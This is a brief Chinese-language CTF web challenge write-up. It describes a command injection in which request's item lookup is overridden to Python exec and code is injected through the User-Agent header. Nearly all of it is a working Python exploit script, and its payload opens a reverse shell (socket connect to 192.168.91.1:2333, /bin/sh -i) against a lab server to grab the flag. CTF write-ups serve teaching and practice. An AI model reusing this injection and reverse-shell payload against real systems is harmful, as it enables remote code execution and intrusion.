点击此处获得更好的阅读体验
WriteUp来源
官方WP
题目考点
解题思路
发现
内存在命令注入
或者尝试报错也能发现。
将request的[]重载为exec实现命令执行,并且用UA头来注入
反弹shell拿到flag
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import requests url ="http://192.168.31.51:6061/Equ.php" s= requests.Session() def exp(poc1,poc2): data = { "left":poc1+"1", "right":"1" } header = { "User-Agent":poc2 } req = s.post(url,data=data,headers=header) print req.text
exp("request.__class__.__getitem__=__builtins__.exec;request[request.user_agent.string];",'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.91.1",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
|